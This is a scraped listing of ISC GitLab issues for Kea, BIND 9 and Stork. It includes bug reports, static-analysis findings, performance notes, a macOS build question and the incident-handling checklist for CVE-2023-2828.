ISC Open Source Projects issueshttps://gitlab.isc.org/groups/isc-projects/-/issues2023-07-17T13:58:21Zhttps://gitlab.isc.org/isc-projects/kea/-/issues/2859leaseX-write documentation omits PID in the backup filename2023-07-17T13:58:21ZMarcin GodzinaleaseX-write documentation omits PID in the backup filenameleaseX-write documentation omits PID in the backup filename.
The documentation states the backup file will have a `.bak` extension, but the function adds kea PID number to the end. E.g. `.bak14356`leaseX-write documentation omits PID in the backup filename.
The documentation states the backup file will have a `.bak` extension, but the function adds kea PID number to the end. E.g. `.bak14356`kea2.3.8Marcin GodzinaMarcin Godzinahttps://gitlab.isc.org/isc-projects/bind9/-/issues/4062CID 454693: A value assigned to addrinfo variable is never used in copy_nameh...2023-05-16T12:57:42ZMichal NowakCID 454693: A value assigned to addrinfo variable is never used in copy_namehook_lists()```
/lib/dns/adb.c: 2229 in copy_namehook_lists()
2223
2224 /*
2225 * Found a valid entry. Add it to the find's list.
2226 */
2227 inc_entry_refcnt(adb, entry, false);
2228 ISC_LIST_APPEND(find-...```
/lib/dns/adb.c: 2229 in copy_namehook_lists()
2223
2224 /*
2225 * Found a valid entry. Add it to the find's list.
2226 */
2227 inc_entry_refcnt(adb, entry, false);
2228 ISC_LIST_APPEND(find->list, addrinfo, publink);
>>> CID 454693: (UNUSED_VALUE)
>>> Assigning value "NULL" to "addrinfo" here, but that stored value is overwritten before it can be used.
2229 addrinfo = NULL;
2230 nextv4:
2231 UNLOCK(&adb->entrylocks[bucket]);
2232 bucket = DNS_ADB_INVALIDBUCKET;
2233 namehook = ISC_LIST_NEXT(namehook, plink);
2234 }
/lib/dns/adb.c: 2264 in copy_namehook_lists()
2258
2259 /*
2260 * Found a valid entry. Add it to the find's list.
2261 */
2262 inc_entry_refcnt(adb, entry, false);
2263 ISC_LIST_APPEND(find->list, addrinfo, publink);
>>> CID 454693: (UNUSED_VALUE)
>>> Assigning value "NULL" to "addrinfo" here, but that stored value is overwritten before it can be used.
2264 addrinfo = NULL;
2265 nextv6:
2266 UNLOCK(&adb->entrylocks[bucket]);
2267 bucket = DNS_ADB_INVALIDBUCKET;
2268 namehook = ISC_LIST_NEXT(namehook, plink);
2269 }
```
This was identified by the new Coverity Scan 2022.12 version, so probably not a new issue, on ~"v9.16" and ~"v9.18".https://gitlab.isc.org/isc-projects/bind9/-/issues/4061CID 454694: Code maintainability issue in lib/dns/request.c2023-05-16T12:54:45ZMichal NowakCID 454694: Code maintainability issue in lib/dns/request.cThe newly updated Coverity Scan claims "code maintainability issue" in `lib/dns/request.c` on ~"v9.16".
```
/lib/dns/request.c: 981 in dns_request_createvia()
975 /*
976 * Try again using TCP.
977 */
978 dns_me...The newly updated Coverity Scan claims "code maintainability issue" in `lib/dns/request.c` on ~"v9.16".
```
/lib/dns/request.c: 981 in dns_request_createvia()
975 /*
976 * Try again using TCP.
977 */
978 dns_message_renderreset(message);
979 dns_dispatch_removeresponse(&request->dispentry, NULL);
980 dns_dispatch_detach(&request->dispatch);
>>> CID 454694: Code maintainability issues (UNUSED_VALUE)
>>> Assigning value "NULL" to "sock" here, but that stored value is overwritten before it can be used.
981 sock = NULL;
982 options |= DNS_REQUESTOPT_TCP;
983 settsigkey = false;
984 goto use_tcp;
985 }
986 if (result != ISC_R_SUCCESS) {
```https://gitlab.isc.org/isc-projects/stork/-/issues/1036Include statements with non-JSON extensions in Kea CA config2023-06-02T16:58:27ZSlawek FigielInclude statements with non-JSON extensions in Kea CA configStork supports the `include` statements in the Kea Control Agent configuration, but only if the included file has a `.json` extension. Kea allows any extensions. If the Kea Control Agent configuration contains the `include` statement wit...Stork supports the `include` statements in the Kea Control Agent configuration, but only if the included file has a `.json` extension. Kea allows any extensions. If the Kea Control Agent configuration contains the `include` statement with the non-JSON file, Stork throws an error and rejects the particular Kea.
The problem was reported on our mailing list on 2023-05-11:
> The Stork Agent is not happy when a KEA configuration file has an include statement in it. This is the error I see on the syslog:
>
> ```
> level="error" msg="Invalid Kea Control Agent config" file=" kea.go:215 " error="Cannot parse Kea Control Agent config file: problem parsing Kea configuration: invalid character '<' looking for beginning of object key string: invalid character '<' looking for beginning of object key string"
> ```
> And the configuration file it is trying to read is starting as:
> ```
> {
> "Control-agent": {
> <?include "/mnt/data/etc/kea/local-ctrl-agent.include"?>
> ```
>
> Hmm… KEA accepts the .include extension though, so shouldn’t Stork accept what KEA accepts?1.11Slawek FigielSlawek Figielhttps://gitlab.isc.org/isc-projects/bind9/-/issues/4060named doesn't shut down after receiving rndc stop command2023-12-21T07:54:17ZMichal Nowaknamed doesn't shut down after receiving rndc stop command`shutdown` system tests [#3376811](https://gitlab.isc.org/isc-projects/bind9/-/jobs/3376811) and [#3376814](https://gitlab.isc.org/isc-projects/bind9/-/jobs/3376814) failed:
```
D:shutdown: if remaining <= 0:
D:shutdown:>...`shutdown` system tests [#3376811](https://gitlab.isc.org/isc-projects/bind9/-/jobs/3376811) and [#3376814](https://gitlab.isc.org/isc-projects/bind9/-/jobs/3376814) failed:
```
D:shutdown: if remaining <= 0:
D:shutdown:> raise TimeoutExpired(self.args, timeout)
D:shutdown:E subprocess.TimeoutExpired: Command '['/builds/isc-projects/bind9/bin/rndc/rndc', '-c', '../common/rndc.conf', '-p', '14630', '-s', '10.53.0.3', 'status']' timed out after 10 seconds
...
D:shutdown:----------------------------- Captured stderr call -----------------------------
D:shutdown:rndc: recv failed: connection reset
```
isc-projects/bind9!7819 might be somehow the culprit.January 2024 (9.16.46, 9.16.46-S1, 9.18.22, 9.18.22-S1, 9.19.20) (❗RECALLED❗)https://gitlab.isc.org/isc-projects/kea/-/issues/2858Authoritative flag doesn't work as expected when subnet selection fails2023-07-17T13:58:21ZMarcin SiodelskiAuthoritative flag doesn't work as expected when subnet selection failsAccording to [Kea ARM section 8.2.23](https://kea.readthedocs.io/en/kea-2.2.0/arm/dhcp4-srv.html#authoritative-dhcpv4-server-behavior) the Kea server should remain silent if the client is in the INIT_REBOOT state and requests an address ...According to [Kea ARM section 8.2.23](https://kea.readthedocs.io/en/kea-2.2.0/arm/dhcp4-srv.html#authoritative-dhcpv4-server-behavior) the Kea server should remain silent if the client is in the INIT_REBOOT state and requests an address for which the server has no lease. It should also remain silent when the client is requesting an address from a "wrong" network.
Imagine the case that the server has no configured subnets (is in migration). When the server receives a request it fails to select a subnet. It **always** causes the server to return a DHCPNAK. It contradicts with the `authoritative` specification. The server doesn't know whether or not the requested address is correct because it has no knowledge of the subnet where the client is connected.kea2.3.8Marcin SiodelskiMarcin Siodelskihttps://gitlab.isc.org/isc-projects/kea/-/issues/2857Inefficiency in preallocation algorithm for flq while using multiple subnets2023-05-25T13:34:01ZWlodzimierz WencelInefficiency in preallocation algorithm for flq while using multiple subnetsWhile using `flq` allocator Kea is able to preallocate 18M leases in just 12seconds (using our setup in the lab), which is very good result. But while Kea is configured with multiple subnets using flq this preallocation is made one by on...While using `flq` allocator Kea is able to preallocate 18M leases in just 12seconds (using our setup in the lab), which is very good result. But while Kea is configured with multiple subnets using flq this preallocation is made one by one without multithreading.
preallocation for 1 subnet with /8 pool:
![Screenshot_2023-05-11_at_14.34.28](/uploads/ded02cb60a98ad054669f4c39cc075f6/Screenshot_2023-05-11_at_14.34.28.png)
preallocation for 8 subnets with /8 each:
![Screenshot_2023-05-11_at_14.34.43](/uploads/cfee0dfb4d426f6da7742e96448d0a85/Screenshot_2023-05-11_at_14.34.43.png)
As you can see in second chart 36-B preallocation for 8 subnets takes 120 seconds and uses just one CPU (100% CPU usage). While Kea is configured to use 8 threads. This could be done in parallel to reduce overall startup time.outstandinghttps://gitlab.isc.org/isc-projects/kea/-/issues/2856mysql v4 backend slowing down while using random and flq allocator2023-06-19T10:40:00ZWlodzimierz Wencelmysql v4 backend slowing down while using random and flq allocatorIt looks like Kea performance is hugely impacted when random or flq allocator is used. Screen of the charts that show performance degradation are attached. Results are generated using code from isc-projects/kea#2843
![Screenshot_2023-05...It looks like Kea performance is hugely impacted when random or flq allocator is used. Screen of the charts that show performance degradation are attached. Results are generated using code from isc-projects/kea#2843
![Screenshot_2023-05-11_at_13.56.08](/uploads/8fd6f88e0cd8078c130c11b224ea749c/Screenshot_2023-05-11_at_13.56.08.png)
![Screenshot_2023-05-11_at_13.56.38](/uploads/7a82938d13b13dec1b7c80388f3b4b1c/Screenshot_2023-05-11_at_13.56.38.png)
Issue is not observed in v6 random allocator:
![Screenshot_2023-05-11_at_14.01.09](/uploads/39181cd28e2e1fad03c70e2319a88fc1/Screenshot_2023-05-11_at_14.01.09.png)
[full internal report](https://jenkins.aws.isc.org/view/Kea-manual/job/kea-manual/job/performance/94/artifact/qa-dhcp/kea/performance-jenkins/report.html) (it's heavy, please wait patiently for it to load)
to check all allocator related tests please go to tab `Resource Consumption`, allocators tests starts at Scenario 7.
Mysql related scenarios:
* v4: 10, 11, 12, 19, 20, 21, 28, 29, 30
* v6: 39, 40, 45, 46, 51, 52
(number of tests will be reduced for regular monthly runs)
Additionally I should mention that in previous runs (master) I observed issues with iterative allocator in v4 mysql as well. Looked like kea stops assigning leases after assigning ~6mln leases, but I couldn't reproduce it on isc-projects/kea#2843 (I will repeat those tests on master overnight)
![Screenshot_2023-05-11_at_14.11.01](/uploads/6da24ed37a758e3e86653a31a2b2fbb1/Screenshot_2023-05-11_at_14.11.01.png)next-stable-2.6Marcin SiodelskiMarcin Siodelskihttps://gitlab.isc.org/isc-projects/bind9/-/issues/4059Oracle Linux 8 shell doesn't always restore environment variable correctly2023-08-02T08:49:35ZMark AndrewsOracle Linux 8 shell doesn't always restore environment variable correctlyJob [#3374668](https://gitlab.isc.org/isc-projects/bind9/-/jobs/3374668) failed for 0592aaa4a97351f736418b2bbc53e89113a578c5:
I saw that dig was making AAAA queries instead of A queries by default a couple of times developing !7888. Ea...Job [#3374668](https://gitlab.isc.org/isc-projects/bind9/-/jobs/3374668) failed for 0592aaa4a97351f736418b2bbc53e89113a578c5:
I saw that dig was making AAAA queries instead of A queries by default a couple of times developing !7888. Earlier in the resolver test we use `HOME="$(pwd)" dig_with_opts @10.53.0.4 . > dig.out.1.${n} || ret=1` a few times. This shouldn't have a long term effect on HOME but that is the only explanation that makes sense. Creating an explicit sub shell should fix the issue. For !7888 I explicitly set the type.
Note below the type was not specified but should default to A.
```
% more dig.out.60
; <<>> DiG 9.19.14-dev <<>> -p 14345 +tcp @10.53.0.5 options-formerr
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 54036
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 31786a72177b15f101000000645c36ee6cd499386040212e (good)
;; QUESTION SECTION:
;options-formerr. IN AAAA
;; AUTHORITY SECTION:
options-formerr. 1 IN SOA . . 0 0 0 0 0
;; Query time: 0 msec
;; SERVER: 10.53.0.5#14345(10.53.0.5) (TCP)
;; WHEN: Thu May 11 00:29:34 UTC 2023
;; MSG SIZE rcvd: 106
%
```August 2023 (9.16.43, 9.16.43-S1, 9.18.18, 9.18.18-S1, 9.19.16)https://gitlab.isc.org/isc-projects/kea/-/issues/2855kea-admin lease-upload (2.2.0) invokes kea-lfc without -4 or -6 resulting in ...2023-07-17T13:58:21ZMarco Munarimar23+w.isc.org@allerta.itkea-admin lease-upload (2.2.0) invokes kea-lfc without -4 or -6 resulting in misleading error (Unknown argument) if no dhcp version was specified to kea-admin---
name: Bug report
about: Create a report to help us improve
---
**Describe the bug**
After reading the (concise) documentation of `kea-admin` https://kea.readthedocs.io/en/kea-2.2.0/arm/admin.html
and the command line output reporte...---
name: Bug report
about: Create a report to help us improve
---
**Describe the bug**
After reading the (concise) documentation of `kea-admin` https://kea.readthedocs.io/en/kea-2.2.0/arm/admin.html
and the command line output reported below, I expected to have briefly understood how to use the `lease-upload` command,
as for example `kea-admin lease-upload pgsql -u kea -n database_name -i lease4file.csv` gave instead error "Unknown argument."
```kea-admin 2.2.0
This is a kea-admin script that conducts administrative tasks on
the Kea installation.
Usage: /usr/local/sbin/kea-admin COMMAND BACKEND [parameters]
COMMAND: Currently supported operations are:
- db-init: Initializes new database. Useful for first time installation.
- db-version: Checks version of the existing database schema. Useful
- for checking database version when preparing for an upgrade.
- db-upgrade: Upgrades your database schema.
- lease-dump: Dumps current leases to a memfile-ready CSV file.
- lease-upload: Uploads leases from a CSV file to the database.
- stats-recount: Recounts lease statistics.
BACKEND - one of the supported backends: memfile|mysql|pgsql
PARAMETERS: Parameters are optional in general, but may be required
for specific operations.
-h or --host hostname - specifies a hostname of a database to connect to
-P or --port port - specifies the TCP port to use for the database connection
-u or --user name - specifies username when connecting to a database
-p or --password [password] - specifies a password for the database connection;
if omitted from the command line,
then the user will be prompted for a password
-n or --name database - specifies a database name to connect to
-d or --directory - path to upgrade scripts (default: /usr/local/share/kea/scripts)
-v or --version - print kea-admin version and quit.
-x or --extra - specifies extra argument(s) to pass to the database command
Parameters specific to lease-dump, lease-upload:
-4 to dump IPv4 leases to file
-6 to dump IPv6 leases to file
-i or --input to specify the name of file from which leases will be uploaded
-o or --output to specify the name of file to which leases will be dumped
-y or --yes - assume yes on overwriting temporary files
```
**To Reproduce**
Steps to reproduce the behavior:
1. Prepare Kea daemon dhcpv4 using pgsql as in the following config
```
"Dhcp4": {
//...
"hosts-database": {
"type": "postgresql",
"name": "database_name",
"user": "kea",
"password": "bugreporting",
"host": "localhost",
"port": 5432
}
```
start the previously initialized PosgreSQL database service and the kea service.
(My environment was OpenBSD 7.3 where I installed PostgreSQL and kea from ports
but is probably unrelated)
2. Prepare a valid lease4file.csv (as from /var/lib/kea/kea-leases4.csv)
3. Run:
`kea-admin lease-upload pgsql -u kea -n database_name -i lease4file.csv`
4. See error, it says "Unknown argument"
5. wander what it is (`kea-admin` invokes `kea-lfc` with or without the `-4` or `-6` argument as `kea-admin` was executed by the user)
`kea-admin` doesn't document clearly that either `-4` or `-6` is necessary for the `lease-upload` command, and when not specified it doesn't care to invoke `kea-lfc` which pretend such argument without saying that clearly either).
**Expected behavior**
At least should say "missing argument" (dhcp version) and the documentation or the code should specify that the `kea-admin lease-upload` command needs either -4 or -6, because such information is detected by the file nor by the configuration
**Environment:**
- kea-dhcp4 -V:
```
2.2.0
tarball
linked with:
log4cplus 1.2.2
LibreSSL 3.7.2
database:
PostgreSQL backend 13.0, library 150002
Memfile backend 2.1
```
- OS: OpenBSD 7.3
- Which features were compiled in (in particular which backends): port package kea-2.2.0p0-postgresql
- If/which hooks where loaded in: left as default = no hooks/libraries configured yet
**Additional Information**
**Contacting you**
How can ISC reach you to discuss this matter further? If you do not specify any means such as e-mail, jabber id or a telephone, we may send you a message on github with questions when we have them.
I specified the email address while registering in gitlab.isc.org, this requirement of contact details seems to me obsolete, or I might say
you can contact me by email. I'm able to write the code to fix the issue which affects new users, not anymore neither me because I did learn the expected (by the command) way to use the command (by debugging, not messages).kea2.4.0Piotrek ZadrogaPiotrek Zadrogahttps://gitlab.isc.org/isc-projects/kea/-/issues/2854Include Client ID in EVAL_RESULT msg2023-08-22T19:17:27ZPeter DaviesInclude Client ID in EVAL_RESULT msgInclude Client ID in EVAL_RESULT msg:
It may be useful for users tracking client behaviour to have the client id present in the INFO message EVAL_RESULT
From:
INFO [kea-dhcp4.dhcpsrv/27.121957] EVAL_RESULT Expression Some_C...Include Client ID in EVAL_RESULT msg:
It may be useful for users tracking client behaviour to have the client id present in the INFO message EVAL_RESULT
From:
INFO [kea-dhcp4.dhcpsrv/27.121957] EVAL_RESULT Expression Some_Class evaluated to 1
To:
INFO [kea-dhcp4.dhcpsrv/27.121957] EVAL_RESULT Expression Some_Class evaluated to 1 for client with cid="e6:3f:f1:2d:ca:3c"
[RT #220060](https://support.isc.org/Ticket/Display.html?id=22060)kea2.5.1Francis DupontFrancis Duponthttps://gitlab.isc.org/isc-projects/stork/-/issues/1035Lease search optimization for many servers environment2023-05-16T13:40:23ZManuelLease search optimization for many servers environmentHello everybody,
I feel the need to talk about leases and search in general.
The way I understand it (by looking at the code, correct me if I am wrong) Stork is always querying all
connected KEA servers to find a lease.
Both in the d...Hello everybody,
I feel the need to talk about leases and search in general.
The way I understand it (by looking at the code, correct me if I am wrong) Stork is always querying all
connected KEA servers to find a lease.
Both in the dedicated lease search as well as in the host view under "IP Reservations".
We have several hundred KEA servers connected to Stork and it takes forever to find a lease.
Shouldn't Stork only search on the related KEA server for the lease and not on all KEA servers?
Thanks!backloghttps://gitlab.isc.org/isc-projects/bind9/-/issues/4058BIND resolver incorrectly handles NODATA/NOERROR (NXRRSET) query response whe...2023-12-19T09:18:49ZCathy AlmondBIND resolver incorrectly handles NODATA/NOERROR (NXRRSET) query response when CNAME is queried during prefetch### Summary
"A" fetch to an auth server returns "CNAME". But (it appears), with prefetch enabled (the default), when the "CNAME" is fetched the authoritative sends back noanswer/noerror = NXRRSET). Clearly this is broken behaviour on t...### Summary
"A" fetch to an auth server returns "CNAME". But (it appears), with prefetch enabled (the default), when the "CNAME" is fetched the authoritative sends back noanswer/noerror = NXRRSET). Clearly this is broken behaviour on the part of the Auth servers (or they just changed their zone from providing a CNAME to providing an answer) but I still don't see why it breaks a BIND resolver - which should just at this point understand that the CNAME no longer exists and (as needed, as a result of client queries) query instead from the beginning with the RTYPE the client needs to have resolved.
Instead, the resolver is returning the empty answer to querying clients (who are not querying for CNAME, they are querying the resolver for A)
See [Support ticket 22027](https://support.isc.org/Ticket/Display.html?id=22027)
### BIND version used
9.16.35-S1
### Steps to reproduce
We don't have a reproducer at this time, but see the Support ticket for more details on what's happening. You need an authoritative server that responds with a CNAME (with a valid target) when queried for A (or other) rtypes for a name, but when queried explicitly for CNAME, sends back noerror/noanswer (essentially NXRRSET). Then enable prefetch and keep querying the server for record type A until the CNAME is close to expiry and is therefore prefetched explicitly...
### What is the current *bug* behavior?
When we are handling a client query, we are making queries to cache or to authoritative servers (cache miss) but all of those queries are for the RTYPE that we want to resolve. We don't query for type CNAME. IF we hit a CNAME along the way, then that will cause us to start a new query (from cache or initiate a fetch if we need to) using the target of the CNAME as the new name to be queried.
So far so good. This implies that the code that looks in cache and gets an answer from a fetch handles CNAME as a special case and that we likely look for or cache EXPLICITLY for CNAMEs while we're looking for the RTYPE that we actually want to resolve.
I suspect that we would not expect to find in cache an NXRRSET of type CNAME. Essentially this is meaningless to us - if CNAME doesn't exist than any other record type might exist, we just don't know, it might as well just not be there.
If we get back 'NXRRSET' from a fetch for type CNAME, do we even add it to cache, or does this result in us deleting the original CNAME RR?
Whatever we do with it, it appears to 'break' the cache so that clients get back NOANSWER (empty answer) instead of named doing another fetch based on the RTYPE of the client query made after this CNAME has been refreshed.
### What is the expected *correct* behavior?
Getting a 'NXRRSET' query response from an auth server that has explicitly been queried for a CNAME RR (to refresh what was in cache before - as instigated by prefetch) should not cause the cache to no longer be able to resolve queries for that name for other RTYPEs.
Subsequent client queries after receipt of the auth answer that says that the CNAME no longer exists, should cause new fetches to the auth server with the RTYPE of the client query in them.
Is it remotely possibly however, that finding a CNAME in cache (since we already know that we do something special if we find it) but then finding that it's not a pointer to 'go look up this name instead of the one you had' but instead is NXRRSET (whoa that wasn't what we expected to find!) could cause something aberrant to happen ... ? Or maybe this is a subtle race condition do with replacing the CNAME with NXRRSET for the CNAME (or deleting it entirely) because of the query response from the auth server, and this happening as a result of the prefetch, but now racing with the next client query that is looking in cache?
### Relevant configuration files
No configs - nothing special needed, just prefetch enabled so that when the CNAME in cache is close to expiry, a client query will trigger a prefetch.
### Relevant logs and/or screenshots
N/A - please see support ticket for more details
### Possible fixes
N/A
(P.S. With the info available and with what we know it was very hard to complete this report per the template).BIND 9.21.xMatthijs Mekkingmatthijs@isc.orgMatthijs Mekkingmatthijs@isc.orghttps://gitlab.isc.org/isc-projects/stork/-/issues/1034Model the REST API to return subnet information including all DHCP parameters2023-05-31T17:33:42ZMarcin SiodelskiModel the REST API to return subnet information including all DHCP parametersThe REST API can return subnet information but it lacks Kea-specific DHCP parameters. We have to extend the REST API to also return these parameters. Since Kea uses parameter inheritance, we also need to return shared network-level and g...The REST API can return subnet information but it lacks Kea-specific DHCP parameters. We have to extend the REST API to also return these parameters. Since Kea uses parameter inheritance, we also need to return shared network-level and global parameters that pertain to subnets.1.11Marcin SiodelskiMarcin Siodelskihttps://gitlab.isc.org/isc-projects/bind9/-/issues/4057dig XDG basedir support2023-05-12T07:24:54ZPaul Töttermandig XDG basedir support### Description
Check ${XDG_CONFIG_HOME}/dig/digrc in addition to ~/.digrc
### Links / references
https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html### Description
Check ${XDG_CONFIG_HOME}/dig/digrc in addition to ~/.digrc
### Links / references
https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.htmlNot plannedhttps://gitlab.isc.org/isc-projects/bind9/-/issues/4056bind9 (9.18.14) build / install on macOS Ventura (13.3.1) doesn't create dirs...2023-05-09T20:29:24ZG Rbind9 (9.18.14) build / install on macOS Ventura (13.3.1) doesn't create dirs or files as expectedInstalling bind9 (9.18.14) on macOS Ventura (13.3.1) but it's not dropping a `namedb` directory nor can I find a boilerplate `named.conf`. Steps taken:
Downloaded tar directly from isc, saved to a local directory as a user with admin pr...Installing bind9 (9.18.14) on macOS Ventura (13.3.1) but it's not dropping a `namedb` directory nor can I find a boilerplate `named.conf`. Steps taken:
Downloaded tar directly from isc, saved to a local directory as a user with admin privs.
Steps to build:
```
tar xzf bind-9.18.14.tar.gz
cd bind-9.18.14
./configure
```
Config summary reads:
```
=====================
Configuration summary:
-------------------------------------------------------------
Optional features enabled:
Memory allocator: jemalloc
GSS-API (--with-gssapi)
DNSSEC validation active by default (--enable-auto-validation)
-------------------------------------------------------------
Features disabled or unavailable on this platform:
Small-system tuning (--with-tuning)
Allow 'dnstap' packet logging (--enable-dnstap)
GeoIP2 access control (--enable-geoip)
DNS Response Policy Service interface (--enable-dnsrps)
Allow 'fixed' rrset-order (--enable-fixed-rrset)
Very verbose query trace logging (--enable-querytrace)
Single-query trace logging (--enable-singletrace)
LMDB database to store configuration for 'addzone' zones (--with-lmdb)
IDN support (--with-libidn2)
-------------------------------------------------------------
Configured paths:
prefix: /usr/local
sysconfdir: ${prefix}/etc
localstatedir: ${prefix}/var
------------------------------------------------------------
Compiler: gcc
Apple clang version 14.0.3 (clang-1403.0.22.14.1)
Target: arm64-apple-darwin22.4.0
Thread model: posix
InstalledDir: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin
CFLAGS: -Wall -Wextra -Wwrite-strings -Wpointer-arith -Wno-missing-field-initializers -Wformat -Wshadow -Werror=implicit-function-declaration -Werror=missing-prototypes -Werror=format-security -Werror=parentheses -Werror=implicit -Werror=strict-prototypes -Werror=vla -fno-strict-aliasing -fno-delete-null-pointer-checks -fdiagnostics-show-option -g -O2 -pthread -Wno-deprecated-declarations
CPPFLAGS: -D_FORTIFY_SOURCE=2 -I/opt/homebrew/opt/openssl@3/include
LDFLAGS: -L/opt/homebrew/opt/openssl@3/lib
-----------------------------------------------------------
```
After configure completes:
`make`
When make successfully completes, ran test suite:
```
sudo ./bin/tests/system/ifconfig.sh up
make test
```
Tests run clean, bring down interface and do make install which runs to completion:
```
sudo ./bin/tests/system/ifconfig.sh down
sudo make install
```
Install appears to complete successfully, however there is no namedb directory in either /etc or /usr/local/etc.
In fact there is no named.conf file anywhere on the system except in the source tree.
Please advise as to where to look or please advise if there are additional build steps to take, if configure needs edits, etc.
Thanks for any assistance.https://gitlab.isc.org/isc-projects/bind9/-/issues/4055[CVE-2023-2828] named's configured cache size limit can be significantly exce...2023-11-15T08:47:01ZShoham Danino[CVE-2023-2828] named's configured cache size limit can be significantly exceeded| Quick Links | :link: |
| ------------------------ | ------------------------------------------------------------------------------|
| Incident Manager:...| Quick Links | :link: |
| ------------------------ | ------------------------------------------------------------------------------|
| Incident Manager: | @michal |
| Deputy Incident Manager: | @aram |
| Public Disclosure Date: | 2023-06-21 |
| CVSS Score: | [7.5][cvss_score] |
| Security Advisory: | isc-private/printing-press!54 |
| Mattermost Channel: | [CVE-2023-2828: max-cache-size can be significantly exceeded][mattermost_url] |
| Support Ticket: | N/A |
| Release Checklist: | https://gitlab.isc.org/isc-projects/bind9/-/issues/4123 |
| Post-mortem Etherpad: | [postmortem-2023-06][postmortem_url] |
[cvss_score]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H&version=3.1
[mattermost_url]: https://mattermost.isc.org/isc/channels/cve-2023-2828-max-cache-size
[postmortem_url]: https://pad.isc.org/p/postmortem-2023-06
:bulb: **Click [here][checklist_explanations] (internal resource) for general information about the security incident handling process.**
[checklist_explanations]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations
### Earlier Than T-5
- [x] [:link:][step_deputy] **(IM)** Pick a Deputy Incident Manager
- [x] [:link:][step_respond] **(IM)** [Respond to the bug reporter](#note_373642)
- [x] [:link:][step_etherpad] **(IM)** [Create an Etherpad for post-mortem][postmortem_url]
- [x] [:link:][step_public_mrs] **(SwEng)** Ensure there are no public merge requests which inadvertently disclose the issue
- [x] [:link:][step_assign_cve_id] **(IM)** [Assign a CVE identifier](#note_374026)
- [x] [:link:][step_note_cve_info] **(SwEng)** Update this issue with the assigned CVE identifier and the CVSS score
- [x] [:link:][step_versions_affected] **(SwEng)** [Determine the range of product versions affected (including the Subscription Edition)](#note_374064)
- [x] [:link:][step_workarounds] **(SwEng)** [Determine whether workarounds for the problem exist](#note_374750)
- [x] [:link:][step_coordinate] **(SwEng)** ~~If necessary, coordinate with other parties~~
- [x] [:link:][step_earliest] **(Support)** Prepare and send out "earliest" notifications
- [x] [:link:][step_advisory_mr] **(Support)** [Create a merge request for the Security Advisory and include all readily available information in it](isc-private/printing-press!54)
- [x] [:link:][step_reproducer_mr] **(SwEng)** [Prepare a private merge request containing a system test reproducing the problem](isc-private/bind9!519)
- [x] [:link:][step_notify_support] **(SwEng)** [Notify Support when a reproducer is ready](https://mattermost.isc.org/isc/pl/bfjbhijg1jnqzxoix8q6uhsp7e)
- [x] [:link:][step_code_analysis] **(SwEng)** [Prepare a detailed explanation of the code flow triggering the problem](#note_372558)
- [x] [:link:][step_fix_mr] **(SwEng)** [Prepare a private merge request with the fix](isc-private/bind9!520)
- [x] [:link:][step_review_fix] **(SwEng)** [Ensure the merge request with the fix is reviewed and has no outstanding discussions](https://gitlab.isc.org/isc-private/bind9/-/merge_requests/520#note_378278)
- [x] [:link:][step_review_docs] **(Support)** [Review the documentation changes introduced by the merge request with the fix](https://mattermost.isc.org/isc/pl/ys9ngz8hpffitrdefochzi1ayh)
- [x] [:link:][step_backports] **(SwEng)** Prepare backports of the merge request addressing the problem for all affected ([and](https://gitlab.isc.org/isc-private/bind9/-/merge_requests/527) [still](https://gitlab.isc.org/isc-private/bind9/-/merge_requests/528) [maintained](https://gitlab.isc.org/isc-private/bind9/-/merge_requests/529)) branches of a given product
- [x] [:link:][step_finish_advisory] **(Support)** [Finish preparing the Security Advisory](https://mattermost.isc.org/isc/pl/nt6beetinpnwzg8678sb5fi79r)
- [x] [:link:][step_meta_issue] **(QA)** [Create (or update) the private issue containing links to fixes & reproducers for all CVEs fixed in a given release cycle](https://gitlab.isc.org/isc-private/bind9/-/issues/68)
- [x] [:link:][step_changes] **(QA)** (BIND 9 only) [Reserve a block of `CHANGES` placeholders once the complete set of vulnerabilities fixed in a given release cycle is determined](isc-projects/bind9!8010)
- [x] [:link:][step_merge_fixes] **(QA)** Merge the CVE fixes in CVE identifier order
- [x] [:link:][step_patches] **(QA)** [Prepare a standalone patch for the last stable release of each affected (and still maintained) product branch](https://mattermost.isc.org/isc/pl/apq5r8ir7ffnb8br3bdpkqbg5a)
- [x] [:link:][step_asn_releases] **(QA)** [Prepare ASN releases (as outlined in the Release Checklist)](https://mattermost.isc.org/isc/pl/gbe5fz3bypfixqt67b85tapruc)
### At T-5
- [x] [:link:][step_send_asn] **(Support)** [Send ASN to eligible customers](https://mattermost.isc.org/isc/pl/43d9p7bou7g79e1zbnp91fooxr)
- [x] [:link:][step_preannouncement] **(Support)** [(BIND 9 only) Send a pre-announcement email to the *bind-announce* mailing list to alert users that the upcoming release will include security fixes](isc-private/printing-press!57)
### At T-4
- [x] [:link:][step_verify_asn] **(Support)** Verify that all ASN-eligible customers have received the notification email
### At T-1
- [x] [:link:][step_check_customers] **(Support)** Verify that any new or reinstated customers have received the notification email
- [x] [:link:][step_packager_emails] **(First IM)** [Send notifications to OS packagers](https://gitlab.isc.org/isc-private/printing-press/-/merge_requests/58#note_382746)
### On the Day of Public Disclosure
- [x] [:link:][step_clearance] **(IM)** [Grant Support clearance to proceed with public release](https://mattermost.isc.org/isc/pl/kx7cyamrwiysdf3wqgq7qwo4me)
- [x] [:link:][step_publish] **(Support)** Publish the releases (as outlined in the release checklist)
- [x] [:link:][step_matrix] **(Support)** (BIND 9 only) Update vulnerability matrix in the Knowledge Base
- [x] [:link:][step_publish_advisory] **(Support)** Bump Document Version for the Security Advisory and publish it in the Knowledge Base
- [x] [:link:][step_notifications] **(First IM)** [Send notification emails to third parties](https://gitlab.isc.org/isc-private/printing-press/-/merge_requests/61#note_383415)
- [x] [:link:][step_mitre] **(First IM)** [Advise MITRE about the disclosed CVEs](https://gitlab.isc.org/isc-private/printing-press/-/merge_requests/54#note_383433)
- [x] [:link:][step_merge_advisory] **(First IM)** Merge the Security Advisory merge request
- [x] [:link:][step_embargo_end] **(IM)** [Inform original reporter (if external) that the security disclosure process is complete](#note_383448)
